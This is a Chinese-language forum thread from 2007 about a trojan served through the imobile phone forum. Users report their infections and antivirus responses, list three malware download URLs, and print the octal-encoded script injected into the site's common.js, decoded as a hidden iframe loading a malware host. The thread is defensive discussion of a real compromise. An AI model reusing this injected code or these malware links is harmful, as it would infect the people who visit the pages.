好久没中毒了，居然imobile手机论坛上有木马。

jhq0530

刚又上了imobile论坛，这回是NOD32的机子上。
NOD32还没报，maxthon就自动关闭了

jimmyleo

这三个东西也不是第一次见了 下载都懒得下载了……

buycard

楼主已经感染了。系统不打补丁，用不带HTTP SCAN的AV上毒网，肯定感染

啊弥陀佛

原帖由 jimmyleo 于 2007-9-22 09:41 发表
http://down.dj7788.cn/bf.exe
http://down.dj7788.cn/dd.exe
http://down.dj7788.cn/pps.exe

微点砍掉

jhq0530

访问那个论坛的时候，就感染了威金，但费尔第一时间将其拦截并清除。
之后进行全盘扫描。一切正常。

king6808

没反应啊

lovewei

主要问题出在那个common.js上，里面的一段代码：
\74\151\146\162\141\155\145\40\163\162\143\75\42\150\164\164\160\72\57\57\167\167\167\56\170\146\56\143\156\57\165\163\145\162\57\150\145\154\160\56\141\163\160\42\40\167\151\144\164\150\75\60\40\150\145\151\147\150\164\75\60\76\74\57\151\146\162\141\155\145\76
8进制加密的，解密出来就是<iframe src="hXXp://www.xf.cn/user/help.asp" width=0 height=0></iframe>，即为挂马地址。剩下的jimmyleo已经解出来了。